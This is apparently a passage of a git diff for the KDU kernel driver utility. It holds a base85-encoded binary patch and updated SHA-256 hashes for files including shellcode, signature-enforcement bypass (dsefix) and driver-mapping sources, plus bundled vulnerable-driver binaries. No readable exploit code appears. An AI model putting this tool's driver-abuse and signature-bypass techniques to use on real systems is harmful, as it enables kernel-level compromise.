z?!(%<2Lc66d*Nk|?aL&_=E%qUv5TEQ$A?NVpo{6^N;PHF9m68ITiO}cYPg;M#OWsh zfq9qRz!Iw;E0^|Xb#porNM)d2hSI?l#b7ZSLV;0cBE1@!V9G33Gm@bmWul3@WT>H) zk0}d7-YJ8g5fJsnLRZ!AqMUVJGhlFBaJd?w%zzI7D}c#eX@P>k-vRAD;L+A1`Hcar z9s5;2F@Pno59I0t*~rEf>QlV#a=pQ#<0B@0n*< zBcB<}+IV=EQF||@#Oiy>HHKhjwUC<*!Ec0Yl*bHVjhme#-g){z@tqG|NP+`050R-d zF~~wL1c2_$3gs_`um(OyjTiu1bUty$bpx%HcKOK=w0Eo=GnB3J3B3=o=`D_Psl_}x zAzvTL!n`)S!OAIgsuDH{*=rcv$p*<^3}YMFVR`Uy)`~5aR}E*)*Z}#f;Vgtj%eRI@ zYCrkqa5jT|C{G{3hPvH^pqN>4^3@TnyZHD=xn4SpW8LJ@>1-71DW6DZ!@}nNMB?e^ zRj0&YvYG@$k>uVH*Q2X82RDsv;=y zj#grwoHvR^h);fz4~$~(8?W7Ff|%9#AnwmF*7NNXMl)~5evn@qgHHcQ-ZO@^_MUYM zdRb!08{u}Ms~28X4wwHN!#V`s`X244?LGGv%!7ETLV74&BePVm=;gGrtP{(XSC3_W zP=IY?SzA_5{&6ge@x2XhQ76fZS&S4NZ7dGcF}XzstHr$Jqzu-q_5>{G>c?Yl{VdX5 zbY&(^f(3%LgHg6+umILW-kQNqHEZ_+%Huo`_s_2nEqFsV9=+4;C2XJwSS=}1&@6e= zIF`w-%3kAHXx+H)sc6X|KNq2Z6c2k_ha2cc`X1PDTJAlb4PdgoV>}CFv*hCOtXoL) z8!(+*EY^ZhRZ-QWVVg$af&~aq2J{|s%L#0N(F#Sv1*E!{<8x>E%?YffH+?XL57JQq zh?Z<5aGKc0+#Z+^a2)ENmdZhsSb(^B28`v9XxK|AVf%XtEJT{wy}Oj^)U56( zss)&pV1X@o5({ofEiBJ-9yjQU-)2aJln4FMFjy|FXsgA87x~I0)~L(w@33HpiRuVB zrxfUOv4N_l`Wz%cJQtBtLWVA?GGR50>^;0|L;YpvuuhZ{CbOnBlZaR^C%o;y;}6&uUzCk@`2Ac}NAO2ieTskkD-A z0y%dIYv9c=;^iKy$qYXQ7|W{@v1kpL%=~MX{aGo{H6&3&<~yht<6xX*O|guAh7E8u(l8U@pFEi@miLw7eF_yrDDGLY zhIN(CO=JEInpKjhmg9x5Nqj?q27IdQfsTQXyX=|Cesv3Z1a_nKHSNzb*_TZG@u9pj zgZZ<1_RBMvD`SJ@>oZvgw=wv@%-FNTFxi~N!i?WsR1boUEz)uHWh1$77Mp`6p3P$Y z{Z5{z+7t^O+@MWtRs`lQe#1p>n+iRl(N}BDaq|4s(n6J*J&zFbK!^-ue zTzwu3Hu3+V#BRAGP;7)oINLsJ9{XC)KC!1RWcF$-+^%1SPtDjsS^ow*3N0&ngZ(I8 zyD9IIShpHMFhk(Ou%2X=Si^Ezzk>1L=U7e4ebr;2Qi=;`OS{tSc^KBafIIXVcKZr; zgs~0s?3HYCP$3p0OJ35gyk4|v*3jK|yZGtQcOPuvT?fa=Te#E1G;!yvicI`%t@vNvAOaM0Rq|8xV} zFq`8JlST;9VBYSX24hM%GDuzE!UMo+@tAdu*h~A17enWgB4PC))SEhXG{k z}7V%V*Ny<$!K(#R=khdY_dLkk?m8g?^6X{05F~@`&pko&xUg?F*LkbA1$x=fc0k0 zP`GszWOStL6q<6^uYdtJ`i#@fRi z`(hjG!9>|(I~&k*ES^{i*(n&?TbpUz4egHx9z~0>1n5Um!V8IBlyF5NPEOs489hSI*vTT;L3!OymK!J)YV<+#C;|GQ36ubR z&_H|iC$I%shCF*0`_yH(jE^{brTEElpJGACl`WsL>C8hu^eG$8K9K`}HXHks5hCqU`y!>%rrT#@|QJ zm}K)FX72X*GxW@~gJcavD@cP;)>~lk6VlGpH~nth)dTo>Bs!s=A^J|B2TcLe#wFv? zizvKPeq#^YD?ZJaJM3lYOt!zbmpx#tgSTmeJ%V3zz%ZS+e)2&*2;r z;%HXk#bchnx4hfVLUPuv!>XfKzS~Qi0^R|(GrXZePHT{GKo)9{gBm0fkXagJs|LZ- zTEk=wvR;G40WwO1ST%?RkbxRxx&|2!NJfqZ8lizQ0UD}7QZ>jNKzeJCb}B?#h>ij< zNdq>}fXg*tj0W`9fao`(Y@z|5<0c4(27OJ3&*@HPWvEYk<#Pv^dvZ4J%+U#76N%K_ z4TUCYkYgIe3y_f-WS<5Z2#Bmf=!yxY(gCsA%?Du^kdNdLrX17D+YYl`Y`5J13pR$W zl@EWxer2QN558p6#fojR?^mn|J1uwq3e)*bIr}TNm>J}XuW$xhD-St>Q&UrU?h$OQ zJLQK*SV8UDOVFO&0_c0%F6j7rY)iP_z=Mc8oVMQXWQhvW$u*C%s2bW`ONr=b2J^3W2t z0$o{F!dm&9Z~W3h&CE-^mtt#=FSC{$T`jjbiNWe4cRR`Y;Pm<4Nt|0&%Lh(k^I9$c zev+kozSrm_hWHy8{+CzFgHN%qfoO4>-DHzx?=#GTm3is~9M!Ut}K4 z+dlas(=#mYGcK`#Y@dAk5^K&D%g-+1I6p~le3|93?eb@r(Jx%SbD6!~&}W9aNxM5t zcQWA+O}Zd0D1B)3O1kjS=$&*6SMT^KEd9N;_ElHdp=!|dZr5R9-H;78*htt%({8YO zwI{*gEx!)3!IZ$q#p^9t3X$(@-+6;I)U(?1<=dD%`|UA5u){j>sX_kZXI2P9#r_MM zB%bn=V}D=`w|4)P>DU%~${ki*%{&43K*`ckOJPMd8f(erD37l8%9QA;0 zskH|`7J&}OH$r$zqTW4xY=^|M3vp>=ilw5xatertf36686DI zj{*Ebe(;#3z&Pvp2PCX6fA9zFo15~vKcMAM-9OkksMGK#m}cSj+$U@wW8cX!6>K|t z_=gJ6+?A_8gPgpLSF2q_4C5C$WRL>P}S4Ph3- z0)!<9-y{5n@EpOTnkdvpXn@cXp(8>!g#HMl5T+u`Ls*Ki7U4aFKv%J?P#-_((iouy zLJUGDgf0lF2z?QTAdEtofRKqW8{u_?TzUO-jLcW|0Wa8Y9b0dAW#SYO_DZ%+{L=H= z30OO{^Lr<`ql-AsI1Z2${P2QQOh876^KM#!zk$*`N|&W-;vS#)G5@CO&E%f0Vz{VJm#18W zzZgGc^QmWp4yyj*cM2c3mnXW3!Q!Lgvg9Uq6Hg4)mKweNzMI%xWEbW39%2U{{*iVY zZM{1%!@7}^2OW9y21>LacT)lgsrC%i*M3?R;V=1FqWHs zRI4aAT&FVl(L}pi#i@t!#zCHikmDjkArN)83OT6UE2utLAU2evz(eDpZxK!*90lF2 zhsJ?Hk5u?T!(j~%m`YPZxMB@Q^f!<{4L%W38l9mWb~@m{qk(0p-OHsAljieJ)yjO1 zf-+2e`l0-@r`SA9QAvmD@2l~^3#c0Ghl8zG*j<&KSA>fkYY^+l@6l?EDA8)Uh#G!C zxP(CIJ1AmG(b)Wqntwq)x+(HtS(;(I9t2a=Aa+b>q19+=q{d!%fHK)W0GY-3I;x*} zwN-}kuZW$%J~ICDN7)0|-WjX2>w=r18pv>Wj+M8D=-bjw%Y{K4<+%?Qs>T@^#^5Cw z5DZB>{k8Yu#q&d=fD-2{9{OM9j2dE-oYTl3|Ld1W$Ddx0SVifl%_Ei}HZH*(zHt2F zz25*iZe02!lmRrR!$k9JXjlU3119=3V&f9L03)nnm&)OK(0+<<&wRv=-@bD4*zKpU zmmI%#Js6LM3@_`qQKO24uJi_9ff(+DZ zdT{*Fz>}!s;;|pfwujYHg(}+~(OA}biS-*bP>F^X9lt*C*756u3`@6w+4VtTD=GeQ zkY3III4EeU+|x^}TW=GA%ZHj|iZ9N*)arQIb<6h^Ju*z@j#=Xf*~u7U-;oNSG->TF?~6{-n=BL4q+cT^>Z=zh8%$blRTfBYwfeyQy+ZU$KB~w?Fa~ais8+-TlQ+ zSabX5{$h9Ch-WR}nYeDTR=mt^Mn{ZD+}7(5lbfL@&TROmHj&;$9|He4ycQ3KKIG|- zqZGO zU$)XdD_CqKvTXb25V0ejKX29(J2h_5oe81U+E+`$sRgfE{E$WDgNXbx$Gn^$_}OsR zWvMUzo_QDxjY4M@5TW=vqN|1(ysz%aKh) zA47>hRgmIh2I&g9R}-;i&d55dv~FZ~N+qhe{lP?;PE5&10)aY^cn}xAfTxOkmTHmo z4G5g4mphY$3-DKya5hq!go~W1SCZgyFko={<5!k^@G}#J;BPl!Hl@<_n|hj|3n}M^ zrq>*%KWfV%O`#iC<(Q^oYqA-eigoFdxTzRGmlXtTV87W^Tqv@2_VniBS_ZrIQKT3i z$oxot8ybwEYvoUOYc?Al3Gp+V_BJiVgD#)97PskJg$m7RP|1~BU z{tdk##L4j=iat%(o!3gH074})-EoP9__?Q6@{=Mhf2*0OmGDj(uR(@}YZM>K@$JRt zFaW2w7k3-omk1jAvD_#{Z1^f`ACw|~qsxh$qM=C&`Zwnv`S8~?e2OzRJ6l#6uREgQ zE1dBcXS95&GuF65Z=8H9Hfi`)o7K3UP_Re?Ja@)#j??m$6-<^drip&>mDx&u!c>i{ zGGE~2Ur9IKnNO^Q+Z*)~k4*Mn7_IeE`aGRB685KGid}vp-GY9B|3Kb6)E^I*Gua}~qJ>4NH%(MsB2&4~nV+5f)0;Rjl!XE#i>26k`9(EIi;O-hKSl%e=mQ|tZ^cRFK2vn+z9IMksRiSPV5(Lk| z8p=~%q|;feP<2M*cMcG!)Cf7iMdzqO^_?pS6A%bBL5|Strd6Setb%X>flwFZy?R}z zD%99K=sW_UX2|+#x}qvn<`zMC7lBZlu8? z%1*il`?L&!N<5HLU3GP;n4Q@s2u~0Q^~AowRp-jQD~oM~;XC@EAb82^-E_fKMUGun_-axk?ya`mMe66~!Cp;C6JaqM|D7OBDTvs9dZ}(B?OA8gD7@4xe2B$ zgfXsysZ}+>)YAJ_W%t*6jCLXr?Wc$X8detqSeRhA?{Ulhf@^_3(5$jHhlH z`XSk%YiNpW!h}u;=?!&42uiAXIoF_T1Bx%T=nsRg57F1qwW%8H)*eiVLs&1bsi7NU z*n?LD<0s(07XKE?PiyF!sG!vV(Z54-3!|=9FQPi&1pP3U1Vxi@)UDQA>nVb)8N-A- z2&d4?(V+1*x(G%z)!5RbNCm=Hc6ZITPUbWN(jqX0UMuwH)QrSof1S)YJs z&)X0h$7v#aQ%|*g)l-)iF`*2htDNMmldHIGe2WRY5H#tlz(MdhMIrnHJQkq!{|^2R z49Zm|gKDaiW_wLt9W>{7O|?}&Bl50n_aC3Z421K1o@}b6iwgTBnp_crbKt5A#u={$ zZVjBJk-MR7@|0S-nN_k~E@VROqtucIwRD|OO$#4gEp<{*U*?|1r9J}x5B*T{9C{Vu zlS;g|o8aBbTkxJ?xaD!dy}&iIS~~S9_2Pr`OxS$^bJ0l~eGxYr2uJ0;sIqFPdxPD0 zgvz1z#_u6}wQ?7{dV5wW;lNAyy$pmO<)=Qn`c-W?dl^c2g$d8(2-Dx@%bf3+U`H^? z*(OkD#)^Vlz9?LWO!RN3yxpYs>`7qJ0r<%|(jJ2^rs$p@!0jg{_~6%SLqMzM!*&x13z8;R2tBQsMp=cP4F30UGPCi__Xx8U*nc%L8Y$F!~glkiqI5iX^I0HxC{Q{ z4T28~6x?so2|WhPsE)~Ay=Aqkem0=`ID~Z2 z#L2(;>$c+0TWsg~U)vkto8rjg6F?3sOe{i)MT}3CAj>rLtpQG(JpMm18VU-U*QNcn_&`4`4t2(RobY4v-j2FX z{}As#a{Vw?<6?Hk&ttT_TN^FD;>;`Zpia6@|0eeR@&7Ne-NtB)RygCIMr---QCj?k zGk-y5asSH|Z2#Y`pjZ5V-|?%nwDx;uYw=`fe)3E$kN>@cI^2`xr{Ma(+VNXD|1VdN zobccGORFJTyY~#%;>1B(95+ylmpkF_$`8Ob=b!V46q061;zTVD%+TWhG^_q=^>nJ~ z-XQEco#2E)9r!2jPSiE}Z|B-)eKc88`fBlNXMS>TEg#oQi!>ZpWGvdYh>w&RX@zXRq*Cejlw)ki?f{h`_9R6z!_hW zub~2Wa~F+logC6l7yMsz*~o6_vd90YweydUYs~lfGf6PpS8d1MmTU!s^mdRkOI2*E zLbGHEJ1BxKgQ`(orUcOqXG+*%TOC(vXqGdRnas)j$P8M>D$*70EJ51s5~~P`+|?zw z;_e{W_jjIi@5}4{efxTS`u?2fJm;L}JU_nY%sJ0Y=IgEWweWtgbFy`+P6;m1wKIF2 z_sq)rYyNNf|7VQV+heWv|7(mrz3ogsYVkuWFA&jB`nYe1I891{dWmlkSoSA@h_9Ng9N8pl)V>i3O0&nkGxX$B>);VI2&OkYB7{8~8ubnO`dYX2tAfb?qU`la^5 zr%^NMj8Sz5k6{+!J7A8-F+n_IR=tSij0fPGwr6ZB#(Oz^!ob|ttk06cuN-_oM9#hn zo`y_z#4uK^wijM~wk`xiK;41l03GmA+cQKI!$nzaD{MlNNBAm|{WGl8`P}syve1Ir zBw_<0L$mCw&rynisRl?F2GJm1c+I)G5Cm3r-+4;yAe~^V2*Blo2?@gGg9(ea7an@P zQe))jw#rc4W2q7g!ktJ;D$McdYBE1U&pnrV5tXYEzG-{z(bPp3>H~1!rrxnV;YS_P zqVp4i)JeAI;-*f$NU3@3lM9{-Ape0zW!e1hVx?MG!Ie*~M{=+(n6o`sO7*i#^uf4# zs*ScMNT}^d^6!A3*`6Sx2q@(y5E5+4d4vc3TJMLzqY{R_V8IC_)gnClQidf3B7Uhb zk|q%Tf}i-sb6cne&@kQ*^X!#8 z!(oB@MD;q7vl)UP+MfGK#YMcFF1!axzu|sU?R%B>E;xM&sy;iBktZ0Ne)QaabfjVLt&(H96aL#WCI{13X=Z3Nu z@>xP7&Mgyd`!Hr02w*dLTP~QL4??k%f?>yka3vbWcLk8Q>f4r=zW< z(D;S$y@wc0_z}2yJ#hm+0PlR1n!$I#i=qTKccq~gVV*z*R&0P(Fqzf-d zC?W^J3LcWAo$+q?ka(J@6PA#)xA0C&2eA$~zgHhO(lHyXwZ?|Yo9A3g$mpWuM_47~YCIu(DoqzxXqf$)p3gOfJWtoX@r z9Qp9VkDgM>j~_KKJJ@5_WJiJm3!#{1NneYSfj2CGpd^4;Vp#2xIP=%TI61^NRJZTHT2j2icM_u?a z*t(Trh8ON%)WfnGUj7Q5j`YQ_a**1>^Kd}%U_g!Hg_pgin<)U7zfLpPa;1Hp@qfmU z?r6LplecE&NGH6>_HA%{8-axlgnMt-d7SVR+c(11NIGl;9{3mSYv2a)Y%3hL(}j*5 zlEZB;2;Zs=rbbZ0v<+B1sRzXWwA>kv;(Te^aM>;GIZ@RtN02y>Pr@QnS*TCD5 z95@8Gp+*Y21J3+Nr+eVJNDj6T7VLE4%8zMU@^^e}aC7mAZh`^0b(D_AiXyD|PrY#! zybwvdw!o#RT-ES)+lOE$l7k85dA@kzoWC>t*ryNrQ4k-5AB_>t4HiZ*Q~t}YI(Q9stF<~J^&Nn>Y!&q z$F+Nqo$ZsC6WWdpnd<3IT_a1TObJ4&_H`Chr$BYbH6$;XDq%N0O(SS3&2aRu9bw)nr`=VP>+S7k0DIHN~MekV*K({_F@p z4&P#OfLum*!mZP_FT!k%_IbGeVD0(dyjtnjz5`x=nD+4_cp-NrH9$ds_+IN|<0yv; zqW~*}>rgws6V9k}ls~n2;8V6Qz%!T~vx+>;@U`Q#AA%3e;fy%rwXnLLDyGoFt`oHv zo;FweCivTvd2490qjpTw0*4YWjGyjMb)0=o6K`Np`SJ=sIK!a^$g>MJp2d#HBi!d~ z`ULIjgfAl>>4PxzD{7Q}BRs%oHwVlk*(WsAjC1sY7xviRf~TI#!N}AIKS2{5coeQa zkM|86AObI0NS`2nEP|o)IWT#I+b-l~4t@umb+Ptd`1mEdxtka9+U-&bE%ARc<{BiO zWf|Oa8NHnYjKiz_y5|SrEtl)+ZG+FC3G!@$k6c0L<&VF0!KaWEny=!j?Y7?mr(CJi zUGO}#i)|Oem|?HTz<(gw=@>j=u|9A;45Bs;Ae_s4#}@oN$h>YMy#+pKdxO~->N$I12+j}C{%pV`6tx0%;oIRyNDeRt59C#&?5GxA zhQ`R_hwIVQBdH14d@ZjaxsC{zEz`}^4qre!$Uh31s$!@?7MRnau14ijL*}fMy>KIv z12Z2)F-N5Ag_j`7AA||pTW~w7rx0WCSJ&(OKG=gKe?L4aNG+0QSZ)8~FYvC72;=wrlNvj@CQ{g2@4iJZ*A}RE4_~V2i;B-Bi#*CNaA@0 z-bPIpNe>HA`DEb65Cvr00%T@TIXnx$L3KwF|CuJF=G~!7Cwv6S#shab)R#zn3C_A( zdoR4)_KV@ew(o+zd+9qIOxXN;nv)BUaMo%a+P!eE`*f{1;jh{)Xz-&4B!Q}Uj{#l>a!e$H+ECK6sQ$$OmH^%0z5fM z&t^XjaCM66B|QRiB@ z4|B$|`plYP{CUoROu~C!pnu?*6sLBga%Y6c^lRS?!?qXB+N?)}7lzO#wiSB*L?Q5P z@YomGCk34idky}RQWxR&0meF+cEE<0bQ=qAK+>+Quzd?r@Mt<0oL1yc2_J{kU)Be1 zge#Erk2q|8MekquM^sP#P4Lh`y-%YS^9+)4%v3+cG{16zcEPq+9pz3Wd>)nW0iokH zefCwbUOYP$-i8YJ5bQ&8?HGb*Z=>L(`(O#lh!ZZ~PW$g-F{*7($et7HK+PA~qJ1I2j!u{T*HtYjmmKw&i!8R=!bJB)|2L~tWay&Sa>!n;C=Aq zs*3Wq4e(twO!^44oE55w&%?$a@w+8>;g$UIO%;EUcri4-=D%@PFdbF>8^5_DXHW<0 zevHT@d}Rvr8}QZ4%{T{1o`vu=Bz_d4yaIb52{f8QV4kD!5oZz zcEINjAs^{JH(#1MjK2bhuY>CjGxQluuyE$#`plZ)S4aZI1ZWdJiM-sZ%!S{Ny5J(KW|Qk4a|Sc(p9t;K6^C3 zA44W)11sM#>}0pT1dK3CSFP&p-j4zbm4=x7s?DRNf*kLLGePF11Mg&pV6Qf_JcB;PF4s{ zx4qDBd*KS(3uV@soFBoh{IucZ$JYFE&sn#;Rei>IA`VZxk9c#SIki;KZBRHbDA!*+H{*9(`(k7KC{L2n*lRuwwWO_Y(~ty zSup#}qB&#^nHqk(8J+7=B(!%;J8Mf1@@v_D#m4n>Ef zBT*G|#$2)Lm^GpQ}x?8&a-GT04cUyO7x7lrV=eyUvyuNDEl2W&dJL9f+b=)2I#2eyGabLV8 z?vDrJ!FXFd6gT5mJRdK_`{TvT&k0`&+cC#^~%Zd#s*(Poby3+#X{+r5=@ZCSA$uq&wM= zY)bl)ElGbeko@14N?OT$vXJag7L%jNu_Uh*ET`qNyjH!{U^Q7jtHttL0V`-ltWL|c zEGusntbS|68nwo(l2zZ^(A(7O>uu@v_lAt#aBrlyv)Ak$=^gDI>n-)Flr!Z?c~kYN zhE!83oQkA6Q)bFa=@h@xi7z6+S diff --git a/KDU.sha256 b/KDU.sha256 index 689b56a..5db8dbc 100644 --- a/KDU.sha256 +++ b/KDU.sha256 @@ -1,7 +1,7 @@ -7e405bf2a4c4b851e7665a37f5b0a791d04f48e9d40ee7a1063db27fb3898709 *Bin\drv64.dll +aaf2ee77582f78ca096c40c6005d83041b8b02b2a89e192ba0c1d419319b752d *Bin\drv64.dll 293cb9a86a3f89e377ef5c6716d70bbdfd9c57ff0a07d484bd8abc1f521e70cc *Bin\dummy.sys 82370b38b940f98013a6506a82c35913ec810f312d93b93b5406f3caf07bda9f *Bin\dummy2.sys -934202b339ecd88418ef2d31061e0ff39eba926907d5a55454dd2bf8de643c50 *Bin\kdu.exe +e18f904ea5a08e9465d6742254a4e67cd65a015924eb33cc9bf0e3da40bac852 *Bin\kdu.exe 751d35646474f1854972d6cc45c5b7419933e36fabe013eba785f276ec566d25 *Bin\license.txt 323d910f93683453d45239a0528d3c3cda7f2608fca864fd2a687184ffe129fe *Help\kdu1.png a1d7a51549914833a3414a93646952c25deabe072d8a271b54e10727f923b479 *Help\kdu2.png @@ -29,20 +29,20 @@ d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *Source\Example 10b9fe09b9357cb3c35a00a8b09ae24141ec5941a37c461c2a296d822aa2b512 *Source\Examples\DummyDrv2\dummy\r3request.c f12057a99c6b20abf6d9c3df949d794b124ca19b189498ce2beaa5beeb2b077c *Source\Hamakaze\compress.cpp 09fa3cdaa1416b81ba5ee304cf24897726902b9d33a76d879f604b7fe26b4dcc *Source\Hamakaze\compress.h -64b85353dd48547856d1c82af0f8d5bd3387a6599ec67303c64457d8610a9a41 *Source\Hamakaze\consts.h -0be929e99bfa8adafe9f1d54862dfe338d7b178c44807bec4498fca32351b1b4 *Source\Hamakaze\drvmap.cpp +51b0f3cf1352ca13d7ffd4a138082c0552ef29dbc33d72eec9a5ae9aa0ab055f *Source\Hamakaze\consts.h +b6f6af41d17270c3d0ed2dcced45397e37042a2aeff7d803a3eb38b4a242b34c *Source\Hamakaze\drvmap.cpp 2effbb4edc790ac57606a82d3755e26a5a9661884107f474bb3bdd2217bdc260 *Source\Hamakaze\drvmap.h feabfafd122d6fa542c5113769828f0f44bd1c6c08c8f7731c770a18a41bd8d3 *Source\Hamakaze\dsefix.cpp d46e3371c568c92493d4a2553327c9a703ccf0b68e26ccc9ed49772524e12b71 *Source\Hamakaze\dsefix.h -7f53d0a7cb3cbd7c63bbb101344bfce7e8498252e0e537c33c1079eb7dc1c63e *Source\Hamakaze\global.h -1e777eaa57e45768c4c318e8264ed5faa4941f56e93ba07456992daf7c8b982e *Source\Hamakaze\ipcsvc.cpp +95d701ca3e4c2ca744208d13e2c52e4956e983bcfcc8dbde45a1997509632244 *Source\Hamakaze\global.h +ea0d8d42a5e7d7fb908c52351f99c69f2019c105d07a1f536756691ab2a74174 *Source\Hamakaze\ipcsvc.cpp 888a436b666b00592d29e8a2e82a9b5c7f0c1d4890aaab8cb2f623181ad07092 *Source\Hamakaze\ipcsvc.h 28852719cb7b5def5cb0667d9de9072f41ea3cd55ef92abf3697a32c487131b1 *Source\Hamakaze\KDU.vcxproj dd85c4bc40199343726a2a82209713abd1fb41079d1721625d3cd96bc1b33ea6 *Source\Hamakaze\KDU.vcxproj.filters -694256006711a66f650b3a08f7cfc4c45c6fdbf7add49fecf611f5feba2a9f92 *Source\Hamakaze\KDU.vcxproj.user -996a662d691c6cfb46400ec8e75937b84ff160c993e4da0bc5061df9dff85097 *Source\Hamakaze\kduplist.h -1f2f1feb2e97594ad7f03fe82f4db3e69121816431e4579040113c8181b41297 *Source\Hamakaze\kduprov.cpp -19292faca56c6a99eae9869b2194ad768cea46b84e3d9216a6521818b6c0a072 *Source\Hamakaze\kduprov.h +131b328c68ab4fc99172051f3dfc0415431d5aade1b5167ab43e742bda76d885 *Source\Hamakaze\KDU.vcxproj.user +8126b55d26fac45bf920046d4d92c3a83c6075ce864d16f56c532473ff54b37d *Source\Hamakaze\kduplist.h +232d18e2cb1f2ba63a5d269fc315c151f2e592d3c6728aa87aa20d38467986c0 *Source\Hamakaze\kduprov.cpp +d4e42505f96cf1937ce09e2fc49cc27eaee13f16a05226d9e2b41c5d38005362 *Source\Hamakaze\kduprov.h 059074722ee621923d53e036452d24ba401cbed042fa36a896baff2c858f46ae *Source\Hamakaze\main.cpp e1a8de39e2d3d0bae5d9bbe1b18e849f5d070feb1d37f838176ede5a401f35ec *Source\Hamakaze\pagewalk.cpp 545ecf7e669b6b28753a02e33fae6f503750d26cf0bf9089701f401fd24e0dd1 *Source\Hamakaze\pagewalk.h @@ -50,22 +50,22 @@ c68451b1f7981eefd8ba6e79cb92bc11416c6e942d72bab83bc5096ac853dbd6 *Source\Hamakaz 6c9e5a15f9d01db4b50ac06b723d4fe9468e2bb02eb8ba77c4bfecf8d83f1f8e *Source\Hamakaze\ps.h 6ab34cc400e37c37605e0b04b076f9464172c6e1ae749b19f7d0c73f2d7177e3 *Source\Hamakaze\resource.h 9816b5d056716f328ad8a13d8d5384dc47b51dbfe4d213abbca2feac6b4cc30c *Source\Hamakaze\resource.rc -6c8175868f7291676b0fe1704f3aff60f7fe2af765fe3ced6a568d182124f499 *Source\Hamakaze\shellcode.cpp -307c1a8c1e9cbc135f981f99859387af3fdd04c928c76654789086d7633ceed1 *Source\Hamakaze\shellcode.h +d9949a96d1fd3cb29ced81adecd840013c4f4ba29e59965de2ca28f0c9197b88 *Source\Hamakaze\shellcode.cpp +37b72edb872268e4e9f8a12853f4cbf726038cf7f0dc5e0f4239888818f18fed *Source\Hamakaze\shellcode.h 3d84a26f0de605c68a84c52bf21103dd90260a43a71dbd7e86f7e290b8fd49bc *Source\Hamakaze\sup.cpp f85e934795129edb4dd106ab75f8038ccbb064d99ccdb38deb5a50bd839f9be6 *Source\Hamakaze\sup.h f28306a5b655a37a664169d8a12ab08ac16d4c6521e97a2d8a01136a97cecab9 *Source\Hamakaze\tests.cpp ad77ae168188a9748713ab5f7532447ca50a539fa8ebbec5ac86b273696b028e *Source\Hamakaze\tests.h 2f9bba7bf761a8e6908132ae93d81aaaa38cbdebd38e2557505ea6309bbd2391 *Source\Hamakaze\victim.cpp b4165a29658b4770627aaac15bc36add0a47892d738920de1fc6ec73bb1c3cce *Source\Hamakaze\victim.h -329412146007b0520c3d24522768b46f0e0b4d067def7c851e6a0f20309b9624 *Source\Hamakaze\wdksup.h +ef4101bc7311ed538b61e9c3076445e57b03ef6bff731300c2fdb1f9a13cb76d *Source\Hamakaze\wdksup.h 31860c95db21761086e2979753e981d6435f27435dead3ed7e4687e99bb878d4 *Source\Hamakaze\hde\hde64.c fd5b39e2865e12b9525ebda8fd9e9658b341ead5932d1bcb412a189f81ca42ca *Source\Hamakaze\hde\hde64.h 9d37519623d404987300d3f3258148ba9adddfe1bed5f89a0e9e47646819c9c7 *Source\Hamakaze\hde\pstdint.h 0b6c69ad498e67907e0c574ab06123aee4ec30c99fa181099ea929a8d820bfc1 *Source\Hamakaze\hde\table64.h b1350783a851e6345b880c8a5313e871d2249aa5524f41406c52fa62483f2229 *Source\Hamakaze\idrv\atszio.cpp 015a6aff991174a881650c61fe1b28c5bfe3116a02a32abe5295ff389c5b7099 *Source\Hamakaze\idrv\atszio.h -c5b615215ed900918986a1309e4d844535e27331246531c3307834cb388597b6 *Source\Hamakaze\idrv\dbk.cpp +5b3b4c565bb77549f6c34ac376a69dfdaa825966ae585fdbd48d022a89de9286 *Source\Hamakaze\idrv\dbk.cpp 24f81b4fdc1b924a36c981fb175b2dccebd7d029d6caed85fb731b74b22c7386 *Source\Hamakaze\idrv\dbk.h f1e50ca998f4dde600b062fe0f89ba0289b5c69b5636608db95eeb753c444a2a *Source\Hamakaze\idrv\dbutil.cpp ad955406989b80564e7e4cc400721e62d6d5c193e22037b075e07dd616f3c845 *Source\Hamakaze\idrv\dbutil.h @@ -97,8 +97,8 @@ a0ed8a22c14b35bccd1ff0f45c8b23cad0f8c3af1d8e924caf4bfd63dfb02d89 *Source\Hamakaz 3fd20249ff874011dbd7af8d30b9407b2dfcb2791e3e6cd0f9c5e5ddbb2baed1 *Source\Hamakaze\idrv\winring0.cpp 103f50efe410f8668c40ddc68051ba49aa0ee1a5301cb54bc42991523c0edae9 *Source\Hamakaze\idrv\winring0.h de7bdf0bd4acec31c963b916331399bce23c155e3002f0a8152a4a36af13faf8 *Source\Hamakaze\res\274.ico -f31b9db0c68cd0c4c53fac667e6bd8a1c547f26aee81ed7a9608192d36112543 *Source\Hamakaze\res\SB_SMBUS_SDK.bin -635fdddb536e7be089a3f813f4bb306e9c7220d05d5f19572f296d1c743f1411 *Source\Hamakaze\res\Taigei32.bin +7917b50bc2284aff2ba3a0cdce1a799b60cc89a979dae13d5095ea1c62749a86 *Source\Hamakaze\res\SB_SMBUS_SDK.bin +1a425764ea322118e15130d9f0f5160dc69d58c4adaecc0024abb8c2393f0fd3 *Source\Hamakaze\res\Taigei32.bin 1232f65b57bc8732ead29a730308f6c67bc53a2f9fafd47f8c7cc4b4f676a9e9 *Source\Hamakaze\utils\GenAsIo2Unlock.exe e0ba365c8aa8e66fddd0f28bca4b827725911480fdcd968df2792c370f13ef42 *Source\Shared\ldr\ldr.cpp 37003367e625e218bf7e4c22850ac7d2efe926a6a832d29bc20a9f8b19a479af *Source\Shared\ldr\ldr.h @@ -141,34 +141,34 @@ f0513a122c42de31a0341ab3d0f3d2940f777c91a7e096718d84c83b85a17f77 *Source\Tanikaz a81e6f2ea101a6f4bd005530bd0d5fd475be1d6bba1e6f45821359cf4a6a09fb *Source\Tanikaze\Tanikaze.vcxproj 2cf945275de0ce48e3e4a438be16a9d27699c39dc15327f731d4e235a3bc265b *Source\Tanikaze\Tanikaze.vcxproj.filters c06a75b13f855a94d46616796e024c52b499f8f92cf00ccb571ddbc6ff574676 *Source\Tanikaze\Tanikaze.vcxproj.user -e920037c5923d62b4da7c70df62d05a0e341ef19b9c26538de435ae5cec51cf3 *Source\Tanikaze\data\AsusCertService.bin -96835b758e88b9f8d7ec4a9449b32e99eab403c61aba65c13100c2ab63665db6 *Source\Tanikaze\data\dbutilcat.bin -db3ebc1c1aa2779adaedc21480e2ad78ae135a467ad78fa6d48a00575fc0e34c *Source\Tanikaze\data\dbutilinf.bin -ad5544f93b70690e66489bb6c584b28045ed892a2ea8f6149e3ed09dd36bf71b *Source\Tanikaze\data\KMUEXE.bin -a8df0de9fd2f304161038a353bce200fd27009f6bba5dee0eb433a55b9facc6c *Source\Tanikaze\data\KMUSIG.bin -8f37395f31486996e79b29f841efbb8a0b9580a4b24ef352a84b8e09d6e5d8ed *Source\Tanikaze\drv\asio2.bin -d2a3cab1c5acf6b2b45482d80fe78a46bf15ed22f17b088a832d6027f15afb67 *Source\Tanikaze\drv\AsIO3.bin -fa22f886bd2e3e835d009f32dd54e265b41e31e9a44beff66146756c3277c435 